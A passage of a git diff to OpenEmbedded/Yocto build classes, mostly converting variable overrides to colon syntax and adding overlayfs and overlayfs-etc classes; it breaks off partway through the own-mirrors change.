diff --git a/meta/classes/module.bbclass b/meta/classes/module.bbclass
index c0dfa35061..a09ec3ed1e 100644
--- a/meta/classes/module.bbclass
+++ b/meta/classes/module.bbclass
@@ -14,7 +14,7 @@ python __anonymous () {
d.setVar('KBUILD_EXTRA_SYMBOLS', " ".join(extra_symbols))
}
-python do_devshell_prepend () {
+python do_devshell:prepend () {
os.environ['CFLAGS'] = ''
os.environ['CPPFLAGS'] = ''
os.environ['CXXFLAGS'] = ''
@@ -70,5 +70,5 @@ EXPORT_FUNCTIONS do_compile do_install
# add all splitted modules to PN RDEPENDS, PN can be empty now
KERNEL_MODULES_META_PACKAGE = "${PN}"
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/classes/multilib.bbclass b/meta/classes/multilib.bbclass
index 9f726e4537..73ad2ab7b3 100644
--- a/meta/classes/multilib.bbclass
+++ b/meta/classes/multilib.bbclass
@@ -35,7 +35,7 @@ python multilib_virtclass_handler () {
e.data.setVar('SDKTARGETSYSROOT', e.data.getVar('SDKTARGETSYSROOT'))
override = ":virtclass-multilib-" + variant
e.data.setVar("OVERRIDES", e.data.getVar("OVERRIDES", False) + override)
- target_vendor = e.data.getVar("TARGET_VENDOR_" + "virtclass-multilib-" + variant, False)
+ target_vendor = e.data.getVar("TARGET_VENDOR:" + "virtclass-multilib-" + variant, False)
if target_vendor:
e.data.setVar("TARGET_VENDOR", target_vendor)
return
@@ -82,7 +82,7 @@ python multilib_virtclass_handler () {
e.data.setVar("WHITELIST_GPL-3.0", pkgs)
# DEFAULTTUNE can change TARGET_ARCH override so expand this now before update_data
- newtune = e.data.getVar("DEFAULTTUNE_" + "virtclass-multilib-" + variant, False)
+ newtune = e.data.getVar("DEFAULTTUNE:" + "virtclass-multilib-" + variant, False)
if newtune:
e.data.setVar("DEFAULTTUNE", newtune)
}
@@ -105,7 +105,6 @@ python __anonymous () {
d.setVar("LINGUAS_INSTALL", "")
# FIXME, we need to map this to something, not delete it!
d.setVar("PACKAGE_INSTALL_ATTEMPTONLY", "")
- bb.build.deltask('do_populate_sdk', d)
bb.build.deltask('do_populate_sdk_ext', d)
return
}
@@ -177,7 +176,7 @@ def reset_alternative_priority(d):
bb.debug(1, '%s: Setting ALTERNATIVE_PRIORITY_%s to %s' % (pkg, pkg, reset_priority))
d.setVar('ALTERNATIVE_PRIORITY_%s' % pkg, reset_priority)
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
# ALTERNATIVE_PRIORITY_pkg[tool] = priority
alt_priority_pkg_name = d.getVarFlag('ALTERNATIVE_PRIORITY_%s' % pkg, alt_name)
# ALTERNATIVE_PRIORITY[tool] = priority
@@ -192,12 +191,12 @@ def reset_alternative_priority(d):
bb.debug(1, '%s: Setting ALTERNATIVE_PRIORITY[%s] to %s' % (pkg, alt_name, reset_priority))
d.setVarFlag('ALTERNATIVE_PRIORITY', alt_name, reset_priority)
-PACKAGEFUNCS_append = " do_package_qa_multilib"
+PACKAGEFUNCS:append = " do_package_qa_multilib"
python do_package_qa_multilib() {
def check_mlprefix(pkg, var, mlprefix):
- values = bb.utils.explode_deps(d.getVar('%s_%s' % (var, pkg)) or d.getVar(var) or "")
+ values = bb.utils.explode_deps(d.getVar('%s:%s' % (var, pkg)) or d.getVar(var) or "")
candidates = []
for i in values:
if i.startswith('virtual/'):
@@ -211,7 +210,7 @@ python do_package_qa_multilib() {
if len(candidates) > 0:
msg = "%s package %s - suspicious values '%s' in %s" \
% (d.getVar('PN'), pkg, ' '.join(candidates), var)
- package_qa_handle_error("multilib", msg, d)
+ oe.qa.handle_error("multilib", msg, d)
ml = d.getVar('MLPREFIX')
if not ml:
@@ -229,4 +228,5 @@ python do_package_qa_multilib() {
check_mlprefix(pkg, 'RSUGGESTS', ml)
check_mlprefix(pkg, 'RREPLACES', ml)
check_mlprefix(pkg, 'RCONFLICTS', ml)
+ oe.qa.exit_if_errors(d)
}
diff --git a/meta/classes/multilib_global.bbclass b/meta/classes/multilib_global.bbclass
index 98f65c8aae..dae015cdaf 100644
--- a/meta/classes/multilib_global.bbclass
+++ b/meta/classes/multilib_global.bbclass
@@ -1,6 +1,7 @@
def preferred_ml_updates(d):
- # If any PREFERRED_PROVIDER or PREFERRED_VERSION are set,
- # we need to mirror these variables in the multilib case;
+ # If any of PREFERRED_PROVIDER, PREFERRED_RPROVIDER, REQUIRED_VERSION
+ # or PREFERRED_VERSION are set, we need to mirror these variables in
+ # the multilib case;
multilibs = d.getVar('MULTILIBS') or ""
if not multilibs:
return
@@ -11,43 +12,51 @@ def preferred_ml_updates(d):
if len(eext) > 1 and eext[0] == 'multilib':
prefixes.append(eext[1])
- versions = []
+ required_versions = []
+ preferred_versions = []
providers = []
rproviders = []
for v in d.keys():
+ if v.startswith("REQUIRED_VERSION_"):
+ required_versions.append(v)
if v.startswith("PREFERRED_VERSION_"):
- versions.append(v)
+ preferred_versions.append(v)
if v.startswith("PREFERRED_PROVIDER_"):
providers.append(v)
if v.startswith("PREFERRED_RPROVIDER_"):
rproviders.append(v)
- for v in versions:
- val = d.getVar(v, False)
- pkg = v.replace("PREFERRED_VERSION_", "")
- if pkg.endswith("-native") or "-crosssdk-" in pkg or pkg.startswith(("nativesdk-", "virtual/nativesdk-")):
- continue
- if '-cross-' in pkg and '${' in pkg:
+ def sort_versions(versions, keyword):
+ version_str = "_".join([keyword, "VERSION", ""])
+ for v in versions:
+ val = d.getVar(v, False)
+ pkg = v.replace(version_str, "")
+ if pkg.endswith("-native") or "-crosssdk-" in pkg or pkg.startswith(("nativesdk-", "virtual/nativesdk-")):
+ continue
+ if '-cross-' in pkg and '${' in pkg:
+ for p in prefixes:
+ localdata = bb.data.createCopy(d)
+ override = ":virtclass-multilib-" + p
+ localdata.setVar("OVERRIDES", localdata.getVar("OVERRIDES", False) + override)
+ if "-canadian-" in pkg:
+ newname = localdata.expand(v)
+ else:
+ newname = localdata.expand(v).replace(version_str, version_str + p + '-')
+ if newname != v:
+ newval = localdata.expand(val)
+ d.setVar(newname, newval)
+ # Avoid future variable key expansion
+ vexp = d.expand(v)
+ if v != vexp and d.getVar(v, False):
+ d.renameVar(v, vexp)
+ continue
for p in prefixes:
- localdata = bb.data.createCopy(d)
- override = ":virtclass-multilib-" + p
- localdata.setVar("OVERRIDES", localdata.getVar("OVERRIDES", False) + override)
- if "-canadian-" in pkg:
- newname = localdata.expand(v)
- else:
- newname = localdata.expand(v).replace("PREFERRED_VERSION_", "PREFERRED_VERSION_" + p + '-')
- if newname != v:
- newval = localdata.expand(val)
- d.setVar(newname, newval)
- # Avoid future variable key expansion
- vexp = d.expand(v)
- if v != vexp and d.getVar(v, False):
- d.renameVar(v, vexp)
- continue
- for p in prefixes:
- newname = "PREFERRED_VERSION_" + p + "-" + pkg
- if not d.getVar(newname, False):
- d.setVar(newname, val)
+ newname = version_str + p + "-" + pkg
+ if not d.getVar(newname, False):
+ d.setVar(newname, val)
+
+ sort_versions(required_versions, "REQUIRED")
+ sort_versions(preferred_versions, "PREFERRED")
for prov in providers:
val = d.getVar(prov, False)
@@ -155,8 +164,8 @@ def preferred_ml_updates(d):
python multilib_virtclass_handler_vendor () {
if isinstance(e, bb.event.ConfigParsed):
for v in e.data.getVar("MULTILIB_VARIANTS").split():
- if e.data.getVar("TARGET_VENDOR_virtclass-multilib-" + v, False) is None:
- e.data.setVar("TARGET_VENDOR_virtclass-multilib-" + v, e.data.getVar("TARGET_VENDOR", False) + "ml" + v)
+ if e.data.getVar("TARGET_VENDOR:virtclass-multilib-" + v, False) is None:
+ e.data.setVar("TARGET_VENDOR:virtclass-multilib-" + v, e.data.getVar("TARGET_VENDOR", False) + "ml" + v)
preferred_ml_updates(e.data)
}
addhandler multilib_virtclass_handler_vendor
@@ -198,13 +207,13 @@ python multilib_virtclass_handler_global () {
if rprovs.strip():
e.data.setVar("RPROVIDES", rprovs)
- # Process RPROVIDES_${PN}...
+ # Process RPROVIDES:${PN}...
for pkg in (e.data.getVar("PACKAGES") or "").split():
- origrprovs = rprovs = localdata.getVar("RPROVIDES_%s" % pkg) or ""
+ origrprovs = rprovs = localdata.getVar("RPROVIDES:%s" % pkg) or ""
for clsextend in clsextends:
- rprovs = rprovs + " " + clsextend.map_variable("RPROVIDES_%s" % pkg, setvar=False)
+ rprovs = rprovs + " " + clsextend.map_variable("RPROVIDES:%s" % pkg, setvar=False)
rprovs = rprovs + " " + clsextend.extname + "-" + pkg
- e.data.setVar("RPROVIDES_%s" % pkg, rprovs)
+ e.data.setVar("RPROVIDES:%s" % pkg, rprovs)
}
addhandler multilib_virtclass_handler_global
diff --git a/meta/classes/multilib_header.bbclass b/meta/classes/multilib_header.bbclass
index e03f5b13b2..efbc24f59b 100644
--- a/meta/classes/multilib_header.bbclass
+++ b/meta/classes/multilib_header.bbclass
@@ -42,11 +42,11 @@ oe_multilib_header() {
# Dependencies on arch variables like MIPSPKGSFX_ABI can be problematic.
# We don't need multilib headers for native builds so brute force things.
-oe_multilib_header_class-native () {
+oe_multilib_header:class-native () {
return
}
# Nor do we need multilib headers for nativesdk builds.
-oe_multilib_header_class-nativesdk () {
+oe_multilib_header:class-nativesdk () {
return
}
diff --git a/meta/classes/multilib_script.bbclass b/meta/classes/multilib_script.bbclass
index b11efc1ec5..41597341cd 100644
--- a/meta/classes/multilib_script.bbclass
+++ b/meta/classes/multilib_script.bbclass
@@ -26,9 +26,9 @@ python () {
pkg, script = entry.split(":")
epkg = d.expand(pkg)
scriptname = os.path.basename(script)
- d.appendVar("ALTERNATIVE_" + epkg, " " + scriptname + " ")
+ d.appendVar("ALTERNATIVE:" + epkg, " " + scriptname + " ")
d.setVarFlag("ALTERNATIVE_LINK_NAME", scriptname, script)
d.setVarFlag("ALTERNATIVE_TARGET", scriptname, script + "-${MULTILIB_SUFFIX}")
d.appendVar("multilibscript_rename", "\n mv ${PKGD}" + script + " ${PKGD}" + script + "-${MULTILIB_SUFFIX}")
- d.appendVar("FILES_" + epkg, " " + script + "-${MULTILIB_SUFFIX}")
+ d.appendVar("FILES:" + epkg, " " + script + "-${MULTILIB_SUFFIX}")
}
diff --git a/meta/classes/native.bbclass b/meta/classes/native.bbclass
index 08106e345c..76a599bc15 100644
--- a/meta/classes/native.bbclass
+++ b/meta/classes/native.bbclass
@@ -5,19 +5,11 @@ inherit relocatable
# no need for them to be a direct target of 'world'
EXCLUDE_FROM_WORLD = "1"
-PACKAGES = ""
-PACKAGES_class-native = ""
-PACKAGES_DYNAMIC = ""
-PACKAGES_DYNAMIC_class-native = ""
PACKAGE_ARCH = "${BUILD_ARCH}"
# used by cmake class
OECMAKE_RPATH = "${libdir}"
-OECMAKE_RPATH_class-native = "${libdir}"
-
-# When this class has packaging enabled, setting
-# RPROVIDES becomes unnecessary.
-RPROVIDES = "${PN}"
+OECMAKE_RPATH:class-native = "${libdir}"
TARGET_ARCH = "${BUILD_ARCH}"
TARGET_OS = "${BUILD_OS}"
@@ -114,7 +106,7 @@ CLASSOVERRIDE = "class-native"
MACHINEOVERRIDES = ""
MACHINE_FEATURES = ""
-PATH_prepend = "${COREBASE}/scripts/native-intercept:"
+PATH:prepend = "${COREBASE}/scripts/native-intercept:"
# This class encodes staging paths into its scripts data so can only be
# reused if we manipulate the paths.
@@ -127,6 +119,7 @@ python native_virtclass_handler () {
pn = e.data.getVar("PN")
if not pn.endswith("-native"):
return
+ bpn = e.data.getVar("BPN")
# Set features here to prevent appends and distro features backfill
# from modifying native distro features
@@ -138,9 +131,9 @@ python native_virtclass_handler () {
if "native" not in classextend:
return
- def map_dependencies(varname, d, suffix = ""):
+ def map_dependencies(varname, d, suffix = "", selfref=True):
if suffix:
- varname = varname + "_" + suffix
+ varname = varname + ":" + suffix
deps = d.getVar(varname)
if not deps:
return
@@ -148,22 +141,28 @@ python native_virtclass_handler () {
newdeps = []
for dep in deps:
if dep == pn:
- continue
+ if not selfref:
+ continue
+ newdeps.append(dep)
elif "-cross-" in dep:
newdeps.append(dep.replace("-cross", "-native"))
elif not dep.endswith("-native"):
- newdeps.append(dep + "-native")
+ # Replace ${PN} with ${BPN} in the dependency to make sure
+ # dependencies on, e.g., ${PN}-foo become ${BPN}-foo-native
+ # rather than ${BPN}-native-foo-native.
+ newdeps.append(dep.replace(pn, bpn) + "-native")
else:
newdeps.append(dep)
- d.setVar(varname, " ".join(newdeps))
+ d.setVar(varname, " ".join(newdeps), parsing=True)
- map_dependencies("DEPENDS", e.data)
- for pkg in [e.data.getVar("PN"), "", "${PN}"]:
+ map_dependencies("DEPENDS", e.data, selfref=False)
+ for pkg in e.data.getVar("PACKAGES", False).split():
map_dependencies("RDEPENDS", e.data, pkg)
map_dependencies("RRECOMMENDS", e.data, pkg)
map_dependencies("RSUGGESTS", e.data, pkg)
map_dependencies("RPROVIDES", e.data, pkg)
map_dependencies("RREPLACES", e.data, pkg)
+ map_dependencies("PACKAGES", e.data)
provides = e.data.getVar("PROVIDES")
nprovides = []
@@ -171,7 +170,7 @@ python native_virtclass_handler () {
if prov.find(pn) != -1:
nprovides.append(prov)
elif not prov.endswith("-native"):
- nprovides.append(prov.replace(prov, prov + "-native"))
+ nprovides.append(prov + "-native")
else:
nprovides.append(prov)
e.data.setVar("PROVIDES", ' '.join(nprovides))
diff --git a/meta/classes/nativesdk.bbclass b/meta/classes/nativesdk.bbclass
index 7f2692c51a..f8e9607513 100644
--- a/meta/classes/nativesdk.bbclass
+++ b/meta/classes/nativesdk.bbclass
@@ -28,10 +28,10 @@ PACKAGE_ARCHS = "${SDK_PACKAGE_ARCHS}"
# We need chrpath >= 0.14 to ensure we can deal with 32 and 64 bit
# binaries
#
-DEPENDS_append = " chrpath-replacement-native"
+DEPENDS:append = " chrpath-replacement-native"
EXTRANATIVEPATH += "chrpath-native"
-PKGDATA_DIR = "${TMPDIR}/pkgdata/${SDK_SYS}"
+PKGDATA_DIR = "${PKGDATA_DIR_SDK}"
HOST_ARCH = "${SDK_ARCH}"
HOST_VENDOR = "${SDK_VENDOR}"
@@ -113,3 +113,5 @@ do_packagedata[stamp-extra-info] = ""
USE_NLS = "${SDKUSE_NLS}"
OLDEST_KERNEL = "${SDK_OLDEST_KERNEL}"
+
+PATH:prepend = "${COREBASE}/scripts/nativesdk-intercept:"
diff --git a/meta/classes/npm.bbclass b/meta/classes/npm.bbclass
index 068032a1e5..ba50fcac20 100644
--- a/meta/classes/npm.bbclass
+++ b/meta/classes/npm.bbclass
@@ -17,11 +17,17 @@
# NPM_INSTALL_DEV:
# Set to 1 to also install devDependencies.
-DEPENDS_prepend = "nodejs-native "
-RDEPENDS_${PN}_prepend = "nodejs "
+inherit python3native
+
+DEPENDS:prepend = "nodejs-native "
+RDEPENDS:${PN}:append:class-target = " nodejs"
+
+EXTRA_OENPM = ""
NPM_INSTALL_DEV ?= "0"
+NPM_NODEDIR ?= "${RECIPE_SYSROOT_NATIVE}${prefix_native}"
+
def npm_target_arch_map(target_arch):
"""Maps arch names to npm arch names"""
import re
@@ -55,8 +61,8 @@ def npm_pack(env, srcdir, workdir):
"""Run 'npm pack' on a specified directory"""
import shlex
cmd = "npm pack %s" % shlex.quote(srcdir)
- configs = [("ignore-scripts", "true")]
- tarball = env.run(cmd, configs=configs, workdir=workdir).strip("\n")
+ args = [("ignore-scripts", "true")]
+ tarball = env.run(cmd, args=args, workdir=workdir).strip("\n")
return os.path.join(workdir, tarball)
python npm_do_configure() {
@@ -130,11 +136,17 @@ python npm_do_configure() {
cached_manifest.pop("dependencies", None)
cached_manifest.pop("devDependencies", None)
- with open(orig_shrinkwrap_file, "r") as f:
- orig_shrinkwrap = json.load(f)
+ has_shrinkwrap_file = True
- cached_shrinkwrap = copy.deepcopy(orig_shrinkwrap)
- cached_shrinkwrap.pop("dependencies", None)
+ try:
+ with open(orig_shrinkwrap_file, "r") as f:
+ orig_shrinkwrap = json.load(f)
+ except IOError:
+ has_shrinkwrap_file = False
+
+ if has_shrinkwrap_file:
+ cached_shrinkwrap = copy.deepcopy(orig_shrinkwrap)
+ cached_shrinkwrap.pop("dependencies", None)
# Manage the dependencies
progress = OutOfProgressHandler(d, r"^(\d+)/(\d+)$")
@@ -165,8 +177,10 @@ python npm_do_configure() {
progress.write("%d/%d" % (progress_done, progress_total))
dev = bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False)
- foreach_dependencies(orig_shrinkwrap, _count_dependency, dev)
- foreach_dependencies(orig_shrinkwrap, _cache_dependency, dev)
+
+ if has_shrinkwrap_file:
+ foreach_dependencies(orig_shrinkwrap, _count_dependency, dev)
+ foreach_dependencies(orig_shrinkwrap, _cache_dependency, dev)
# Configure the main package
with tempfile.TemporaryDirectory() as tmpdir:
@@ -181,16 +195,19 @@ python npm_do_configure() {
cached_manifest[depkey] = {}
cached_manifest[depkey][name] = version
- _update_manifest("dependencies")
+ if has_shrinkwrap_file:
+ _update_manifest("dependencies")
if dev:
- _update_manifest("devDependencies")
+ if has_shrinkwrap_file:
+ _update_manifest("devDependencies")
with open(cached_manifest_file, "w") as f:
json.dump(cached_manifest, f, indent=2)
- with open(cached_shrinkwrap_file, "w") as f:
- json.dump(cached_shrinkwrap, f, indent=2)
+ if has_shrinkwrap_file:
+ with open(cached_shrinkwrap_file, "w") as f:
+ json.dump(cached_shrinkwrap, f, indent=2)
}
python npm_do_compile() {
@@ -211,15 +228,11 @@ python npm_do_compile() {
bb.utils.remove(d.getVar("NPM_BUILD"), recurse=True)
- env = NpmEnvironment(d, configs=npm_global_configs(d))
-
- dev = bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False)
-
with tempfile.TemporaryDirectory() as tmpdir:
args = []
- configs = []
+ configs = npm_global_configs(d)
- if dev:
+ if bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False):
configs.append(("also", "development"))
else:
configs.append(("only", "production"))
@@ -234,12 +247,10 @@ python npm_do_compile() {
# Add node-gyp configuration
configs.append(("arch", d.getVar("NPM_ARCH")))
configs.append(("release", "true"))
- sysroot = d.getVar("RECIPE_SYSROOT_NATIVE")
- nodedir = os.path.join(sysroot, d.getVar("prefix_native").strip("/"))
- configs.append(("nodedir", nodedir))
- bindir = os.path.join(sysroot, d.getVar("bindir_native").strip("/"))
- pythondir = os.path.join(bindir, "python-native", "python")
- configs.append(("python", pythondir))
+ configs.append(("nodedir", d.getVar("NPM_NODEDIR")))
+ configs.append(("python", d.getVar("PYTHON")))
+
+ env = NpmEnvironment(d, configs)
# Add node-pre-gyp configuration
args.append(("target_arch", d.getVar("NPM_ARCH")))
@@ -247,7 +258,8 @@ python npm_do_compile() {
# Pack and install the main package
tarball = npm_pack(env, d.getVar("NPM_PACKAGE"), tmpdir)
- env.run("npm install %s" % shlex.quote(tarball), args=args, configs=configs)
+ cmd = "npm install %s %s" % (shlex.quote(tarball), d.getVar("EXTRA_OENPM"))
+ env.run(cmd, args=args)
}
npm_do_install() {
@@ -299,7 +311,7 @@ npm_do_install() {
ln -fs node_modules ${D}/${nonarch_libdir}/node
}
-FILES_${PN} += " \
+FILES:${PN} += " \
${bindir} \
${nonarch_libdir} \
"
diff --git a/meta/classes/overlayfs-etc.bbclass b/meta/classes/overlayfs-etc.bbclass
new file mode 100644
index 0000000000..4ced07ba11
--- /dev/null
+++ b/meta/classes/overlayfs-etc.bbclass
@@ -0,0 +1,76 @@
+# Class for setting up /etc in overlayfs
+#
+# In order to have /etc directory in overlayfs a special handling at early boot stage is required
+# The idea is to supply a custom init script that mounts /etc before launching actual init program,
+# because the latter already requires /etc to be mounted
+#
+# The configuration must be machine specific. You should at least set these three variables:
+# OVERLAYFS_ETC_MOUNT_POINT ?= "/data"
+# OVERLAYFS_ETC_FSTYPE ?= "ext4"
+# OVERLAYFS_ETC_DEVICE ?= "/dev/mmcblk0p2"
+#
+# To control more mount options you should consider setting mount options:
+# OVERLAYFS_ETC_MOUNT_OPTIONS ?= "defaults"
+#
+# The class provides two options for /sbin/init generation
+# 1. Default option is to rename original /sbin/init to /sbin/init.orig and place generated init under
+# original name, i.e. /sbin/init. It has an advantage that you won't need to change any kernel
+# parameters in order to make it work, but it poses a restriction that package-management can't
+# be used, becaause updating init manager would remove generated script
+# 2. If you are would like to keep original init as is, you can set
+# OVERLAYFS_ETC_USE_ORIG_INIT_NAME = "0"
+# Then generated init will be named /sbin/preinit and you would need to extend you kernel parameters
+# manually in your bootloader configuration.
+#
+# Regardless which mode you choose, update and migration strategy of configuration files under /etc
+# overlay is out of scope of this class
+
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "overlayfs-etc", "create_overlayfs_etc_preinit;", "", d)}'
+IMAGE_FEATURES_CONFLICTS_overlayfs-etc = "package-management"
+
+OVERLAYFS_ETC_MOUNT_POINT ??= ""
+OVERLAYFS_ETC_FSTYPE ??= ""
+OVERLAYFS_ETC_DEVICE ??= ""
+OVERLAYFS_ETC_USE_ORIG_INIT_NAME ??= "1"
+OVERLAYFS_ETC_MOUNT_OPTIONS ??= "defaults"
+OVERLAYFS_ETC_INIT_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-etc-preinit.sh.in"
+
+python create_overlayfs_etc_preinit() {
+ overlayEtcMountPoint = d.getVar("OVERLAYFS_ETC_MOUNT_POINT")
+ overlayEtcFsType = d.getVar("OVERLAYFS_ETC_FSTYPE")
+ overlayEtcDevice = d.getVar("OVERLAYFS_ETC_DEVICE")
+
+ if not overlayEtcMountPoint:
+ bb.fatal("OVERLAYFS_ETC_MOUNT_POINT must be set in your MACHINE configuration")
+ if not overlayEtcDevice:
+ bb.fatal("OVERLAYFS_ETC_DEVICE must be set in your MACHINE configuration")
+ if not overlayEtcFsType:
+ bb.fatal("OVERLAYFS_ETC_FSTYPE should contain a valid file system type on {0}".format(overlayEtcDevice))
+
+ with open(d.getVar("OVERLAYFS_ETC_INIT_TEMPLATE"), "r") as f:
+ PreinitTemplate = f.read()
+
+ useOrigInit = oe.types.boolean(d.getVar('OVERLAYFS_ETC_USE_ORIG_INIT_NAME'))
+ preinitPath = oe.path.join(d.getVar("IMAGE_ROOTFS"), d.getVar("base_sbindir"), "preinit")
+ initBaseName = oe.path.join(d.getVar("base_sbindir"), "init")
+ origInitNameSuffix = ".orig"
+
+ args = {
+ 'OVERLAYFS_ETC_MOUNT_POINT': overlayEtcMountPoint,
+ 'OVERLAYFS_ETC_MOUNT_OPTIONS': d.getVar('OVERLAYFS_ETC_MOUNT_OPTIONS'),
+ 'OVERLAYFS_ETC_FSTYPE': overlayEtcFsType,
+ 'OVERLAYFS_ETC_DEVICE': overlayEtcDevice,
+ 'SBIN_INIT_NAME': initBaseName + origInitNameSuffix if useOrigInit else initBaseName
+ }
+
+ if useOrigInit:
+ # rename original /sbin/init
+ origInit = oe.path.join(d.getVar("IMAGE_ROOTFS"), initBaseName)
+ bb.debug(1, "rootfs path %s, init path %s, test %s" % (d.getVar('IMAGE_ROOTFS'), origInit, d.getVar("IMAGE_ROOTFS")))
+ bb.utils.rename(origInit, origInit + origInitNameSuffix)
+ preinitPath = origInit
+
+ with open(preinitPath, 'w') as f:
+ f.write(PreinitTemplate.format(**args))
+ os.chmod(preinitPath, 0o755)
+}
diff --git a/meta/classes/overlayfs.bbclass b/meta/classes/overlayfs.bbclass
new file mode 100644
index 0000000000..4a860f7308
--- /dev/null
+++ b/meta/classes/overlayfs.bbclass
@@ -0,0 +1,118 @@
+# Class for generation of overlayfs mount units
+#
+# It's often desired in Embedded System design to have a read-only rootfs.
+# But a lot of different applications might want to have a read-write access to
+# some parts of a filesystem. It can be especially useful when your update mechanism
+# overwrites the whole rootfs, but you want your application data to be preserved
+# between updates. This class provides a way to achieve that by means
+# of overlayfs and at the same time keeping the base rootfs read-only.
+#
+# Usage example.
+#
+# Set a mount point for a partition overlayfs is going to use as upper layer
+# in your machine configuration. Underlying file system can be anything that
+# is supported by overlayfs. This has to be done in your machine configuration.
+# QA check fails to catch file existence if you redefine this variable in your recipe!
+#
+# OVERLAYFS_MOUNT_POINT[data] ?= "/data"
+#
+# The class assumes you have a data.mount systemd unit defined in your
+# systemd-machine-units recipe and installed to the image.
+#
+# Then you can specify writable directories on a recipe base
+#
+# OVERLAYFS_WRITABLE_PATHS[data] = "/usr/share/my-custom-application"
+#
+# To support several mount points you can use a different variable flag. Assume we
+# want to have a writable location on the file system, but not interested where the data
+# survive a reboot. Then we could have a mnt-overlay.mount unit for a tmpfs file system:
+#
+# OVERLAYFS_MOUNT_POINT[mnt-overlay] = "/mnt/overlay"
+# OVERLAYFS_WRITABLE_PATHS[mnt-overlay] = "/usr/share/another-application"
+#
+# Note: the class does not support /etc directory itself, because systemd depends on it
+# For /etc directory use overlayfs-etc class
+
+REQUIRED_DISTRO_FEATURES += "systemd overlayfs"
+
+inherit systemd features_check
+
+OVERLAYFS_CREATE_DIRS_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-create-dirs.service.in"
+OVERLAYFS_MOUNT_UNIT_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-unit.mount.in"
+OVERLAYFS_ALL_OVERLAYS_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-all-overlays.service.in"
+
+python do_create_overlayfs_units() {
+ from oe.overlayfs import mountUnitName
+
+ with open(d.getVar("OVERLAYFS_CREATE_DIRS_TEMPLATE"), "r") as f:
+ CreateDirsUnitTemplate = f.read()
+ with open(d.getVar("OVERLAYFS_MOUNT_UNIT_TEMPLATE"), "r") as f:
+ MountUnitTemplate = f.read()
+ with open(d.getVar("OVERLAYFS_ALL_OVERLAYS_TEMPLATE"), "r") as f:
+ AllOverlaysTemplate = f.read()
+
+ def prepareUnits(data, lower):
+ from oe.overlayfs import helperUnitName
+
+ args = {
+ 'DATA_MOUNT_POINT': data,
+ 'DATA_MOUNT_UNIT': mountUnitName(data),
+ 'CREATE_DIRS_SERVICE': helperUnitName(lower),
+ 'LOWERDIR': lower,
+ }
+
+ bb.debug(1, "Generate systemd unit %s" % mountUnitName(lower))
+ with open(os.path.join(d.getVar('WORKDIR'), mountUnitName(lower)), 'w') as f:
+ f.write(MountUnitTemplate.format(**args))
+
+ bb.debug(1, "Generate helper systemd unit %s" % helperUnitName(lower))
+ with open(os.path.join(d.getVar('WORKDIR'), helperUnitName(lower)), 'w') as f:
+ f.write(CreateDirsUnitTemplate.format(**args))
+
+ def prepareGlobalUnit(dependentUnits):
+ from oe.overlayfs import allOverlaysUnitName
+ args = {
+ 'ALL_OVERLAYFS_UNITS': " ".join(dependentUnits),
+ 'PN': d.getVar('PN')
+ }
+
+ bb.debug(1, "Generate systemd unit with all overlays %s" % allOverlaysUnitName(d))
+ with open(os.path.join(d.getVar('WORKDIR'), allOverlaysUnitName(d)), 'w') as f:
+ f.write(AllOverlaysTemplate.format(**args))
+
+ mountUnitList = []
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT")
+ for mountPoint in overlayMountPoints:
+ bb.debug(1, "Process variable flag %s" % mountPoint)
+ for lower in d.getVarFlag('OVERLAYFS_WRITABLE_PATHS', mountPoint).split():
+ bb.debug(1, "Prepare mount unit for %s with data mount point %s" %
+ (lower, d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint)))
+ prepareUnits(d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint), lower)
+ mountUnitList.append(mountUnitName(lower))
+
+ # set up one unit, which depends on all mount units, so users can set
+ # only one dependency in their units to make sure software starts
+ # when all overlays are mounted
+ prepareGlobalUnit(mountUnitList)
+}
+
+# we need to generate file names early during parsing stage
+python () {
+ from oe.overlayfs import strForBash, unitFileList
+
+ unitList = unitFileList(d)
+ for unit in unitList:
+ d.appendVar('SYSTEMD_SERVICE:' + d.getVar('PN'), ' ' + unit)
+ d.appendVar('FILES:' + d.getVar('PN'), ' ' + strForBash(unit))
+
+ d.setVar('OVERLAYFS_UNIT_LIST', ' '.join([strForBash(s) for s in unitList]))
+}
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ for unit in ${OVERLAYFS_UNIT_LIST}; do
+ install -m 0444 ${WORKDIR}/${unit} ${D}${systemd_system_unitdir}
+ done
+}
+
+addtask create_overlayfs_units before do_install
diff --git a/meta/classes/own-mirrors.bbclass b/meta/classes/own-mirrors.bbclass
index a777835138..ef972740ce 100644
--- a/meta/classes/own-mirrors.bbclass
+++ b/meta/classes/own-mirrors.bbclass
@@ -1,13 +1,14 @@
-PREMIRRORS_prepend = " \
-cvs://.*/.* ${SOURCE_MIRROR_URL} \n \
-svn://.*/.* ${SOURCE_MIRROR_URL} \n \
-git://.*/.* ${SOURCE_MIRROR_URL} \n \
-gitsm://.*/.* ${SOURCE_MIRROR_URL} \n \
-hg://.*/.* ${SOURCE_MIRROR_URL} \n \
-bzr://.*/.* ${SOURCE_MIRROR_URL} \n \
-p4://.*/.* ${SOURCE_MIRROR_URL} \n \
-osc://.*/.* ${SOURCE_MIRROR_URL} \n \
-https?$://.*/.* ${SOURCE_MIRROR_URL} \n \
-ftp://.*/.* ${SOURCE_MIRROR_URL} \n \
-npm://.*/?.* ${SOURCE_MIRROR_URL} \n \
+PREMIRRORS:prepend = " \
+cvs://.*/.* ${SOURCE_MIRROR_URL} \
+svn://.*/.* ${SOURCE_MIRROR_URL} \
+git://.*/.* ${SOURCE_MIRROR_URL} \
+gitsm://.*/.* ${SOURCE_MIRROR_URL} \
+hg://.*/.* ${SOURCE_MIRROR_URL} \
+bzr://.*/.* ${SOURCE_MIRROR_URL} \
